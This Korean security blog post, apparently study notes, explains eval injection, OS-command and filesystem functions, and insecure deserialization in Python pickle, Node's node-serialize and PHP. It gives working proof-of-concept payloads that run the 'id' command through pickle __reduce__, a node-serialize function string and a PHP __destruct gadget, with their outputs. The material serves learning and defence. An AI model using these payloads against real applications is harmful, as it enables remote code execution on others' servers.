본문 바로가기

Security

[Webhacking] language specific vulnerability

반응형

언어만의 특성, 함수에서 발생할 수 있는 취약점에 대해 다룸.

 

Common

웹 어플리케이션 언어에서 공통적으로 조심해야 하는 함수 및 패턴

 

eval : 인자로 들어온 string을 그대로 실행시키는 함수.

x를 인자로 받아 eval 인풋으로 주는 경우, 프로그램 코드로 실행가능.

x = str(input(">> input some text for mathematical expression : ")

print eval(x)


>> input some text for mathematical expression: __import__('os').system('ls /')

Applications			Volumes				home				tmp
Developer			bin				installer.failurerequests	usr
Library				cores				macOS Install Data		var
Network				data				net
System				dev				private
Users				etc				sbin

사용자가 입력을 통해 os를 통해 루트 디렉토리 출력을 시도했다면 전부 노출됨.

 

OS Command Function

  • Python
    • os.system, popen
    • subprocess.call, run, Popen
  • PHP
    • system, passthru
    • shell_exec, backtick operator (e.g. `ls`)
    • popen, proc_open
    • exec
  • Javascript (Nodejs)
    • child_process.exec, spawn

각 언어에서 위와 같은 커맨드로 취약점 발생시킬 수 있음.

 

Filesystem function

어플리케이션에서 파일 시스템에 접근할 수 있는 함수들의인자가 사용자의 입력 데이터 또는 변조될 가능성이 있는 변수들을 사용할 경우 , 서버의 파일 시스템을 공격하거나 다른 취약점으로 악용 가능.

 

  • File Read
    • 어플리케이션 코드, 설정 파일 정보 등의 노출
  • File Write
    • WebShell 생성을 통한 원격 코드 실행 공격
    • 기존 설정 파일을 덮는 공격을 통해 운영체제 또는 어플리케이션 설정 변경
  • Etc
    • file 복사 or 삭제...

 

 


serialize / deserialize (직렬화 / 역직렬화)

serialize는 object또는 Data의 상태 또는 타입을 특정한 형태의 포맷을 가진 데이터로 변환하는 것을 의미.

deserialize는 직렬화된 데이터를 원래의 object 또는 data의 상태 또는 타입으로 변환하는 것을 의미.

공격자는 역직렬화 과정에서 어플리케이션 상에서 다른 행위를 발생시키는 상태 또는 타입을 이용하여 악의적인 행위를 발생시키거나, 특정한 상황에서 호출되는 메소드들을 이용하여 공격에 사용.

 

import pickle
class TestClass:
  def __init__(self, a, b):
    self.A = a
    self.B = b
# TestClass 생성, ClassA로 할당
ClassA = TestClass(31337,10001)
# ClassA 직렬화
ClassA_dump = pickle.dumps(ClassA)
print(ClassA_dump)
# ClassA 역직렬화, ClassB로 할당
ClassB = pickle.loads(ClassA_dump)
print(ClassB.A, ClassB.B)
$ python3 pickleTest.py 
b"\x80\x03cmain\nTestClass\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00Aq\x03MizX\x01\x00\x00\x00Bq\x04M\x11'ub."
31337 10001

pickle 모듈은 텍스트가 아닌 객체 (리스트, object 등) 에 대해서 저장하기 위해, 직렬화 필요.

Python

import pickle
import os
class TestClass:
  def __reduce__(self):
  	return os.system, ("id", )
ClassA = TestClass()
# ClassA 직렬화
ClassA_dump = pickle.dumps(ClassA)
print(ClassA_dump)
# 역직렬화
pickle.loads(ClassA_dump)

__reduce__는 역직렬화때 사용됨.

이를 오버라이딩하면 역직렬화 때 오버라이딩 내용으로 실행됨.

$ python3 pickleExploit.py
b'\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00idq\x01\x85q\x02Rq\x03.'
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

 

Javascript (NodeJS)

var serialize = require('node-serialize');
x = {
	test : function(){ return 'Hello'; }
};
console.log(serialize.serialize(x));
/*
{"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }"}
*/

node-serialize 모듈의 직렬화 포맷에서 _$$ND_FUNC$$_은 함수를 의미

serialize_func_1 = {"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }"}
console.log(serialize.unserialize(serialize_func_1));
/*
{ test: [Function (anonymous)] }
*/
serialize.unserialize(serialize_func_1)['test']()
/*
'Hello'
*/
serialize_func_2 = {"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }()"}
console.log(serialize.unserialize(serialize_func_2));
/*
{ test: 'Hello' }
*/

직렬화된 object에 ()를 붙이면 함수가 실행됨.

var serialize = require('node-serialize');
serialize_exploit_func = {"test":"_$$ND_FUNC$$_function (){require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });}()"}
console.log(serialize.unserialize(serialize_exploit_func));
/*
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
*/

따라서 역직렬화시킬 대상 변수로 위와 같이 작성하면 공격가능.

 

PHP

<?php
class Test{
  var $var1 = "value1";
  var $var2 = 31337;
  var $var3 = True;
}
$obj = new Test();
var_dump(serialize($obj));
/*
string(73) "O:4:"Test":3:{s:4:"var1";s:6:"value1";s:4:"var2";i:31337;s:4:"var3";b:1;}"
*/

Serialize 데이터 포맷

O:4:"Test": # <Type>:<Class name length>:<class name>:
3:{ # <Number of properties>:{
  s:4:"var1"; # <Type>:<propertie name length>:<propertie name>;
  s:6:"value1"; # <Type>:<propertie value length>:<propertie value>;
  s:4:"var2";
  i:31337;
  s:4:"var3";
  b:1;
}
# <Type>
# O: Object
# s: String
# i: int
# b: Boolean 1=True, 0=False

serialize된 데이터를 변조하여 Object 데이터 변조가능.

<?php
class Test{
  var $var1 = "value1";
  var $var2 = 31337;
  var $var3 = True;
}
$obj = new Test();
var_dump($obj);
/*
object(Test)#1 (3) {
  ["var1"]=>
  string(6) "value1"
  ["var2"]=>
  int(31337)
  ["var3"]=>
  bool(true)
}
*/
$serialize_Data = 'O:4:"Test":3:{s:4:"var1";s:4:"test";s:4:"var2";i:77777;s:4:"var3";b:0;}';
$obj = unserialize($serialize_Data);
var_dump($obj);
/*
object(Test)#2 (3) {
  ["var1"]=>
  string(4) "test"
  ["var2"]=>
  int(77777)
  ["var3"]=>
  bool(false)
}
*/
?>

var _dump() 는 변수의 정보를 출력.

PHP 역직렬화에서는 Object의 특수한 상황에서 실행되어지는 Magic Method 이용.

__destruct() ==> 소멸자의 개념으로 오브젝트 소멸 시 호출됨.
__wakeup() ==> 역직렬화 시 호출됨.
<?php
class Test{
  function __wakeup(){
    echo "Call __wakeup.\n";
  }
  function __destruct(){
    echo "Call __destruct.\n";
  }
  function __construct(){
        echo "Call __construct.\n";
  }
}
echo "New Class.\n";
$obj = new Test();
echo "unserialize Class.\n";
$serialize_Data = 'O:4:"Test":0:{}';
$obj = unserialize($serialize_Data);
/*
New Class.
Call __construct.
unserialize Class.
Call __wakeup.
Call __destruct.
Call __destruct.
*/

 

취약한 코드

<?php
class Test{
  var $func_name = "var_dump";
  var $argv = "test";
  function __destruct(){
    call_user_func($this->func_name, $this->argv);
  }
}
$obj = new Test();
$serialize_Data = 'O:4:"Test":2:{s:9:"func_name";s:6:"system";s:4:"argv";s:2:"id";}';
$obj = unserialize($serialize_Data);
/*
string(4) "test"
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
*/

Test() obj 생성 후 소멸되면서 call_user_func("var_dump","test") 가 실행되어 출력됨.

unserialize에서 소멸되면서 func_name의 변수 system, argv의 변수 id가 입력되어  call_user_func("system","id") 가 실행됨

반응형

'Security' 카테고리의 다른 글

[wargame] Tomcat Manager  (0) 2021.09.27
[Webhacking] PHP  (0) 2021.09.27
[Webhacking] business logic vulnerability  (0) 2021.09.27
[wargame] xss-2  (1) 2021.09.26
[wargame] xss-1  (0) 2021.09.25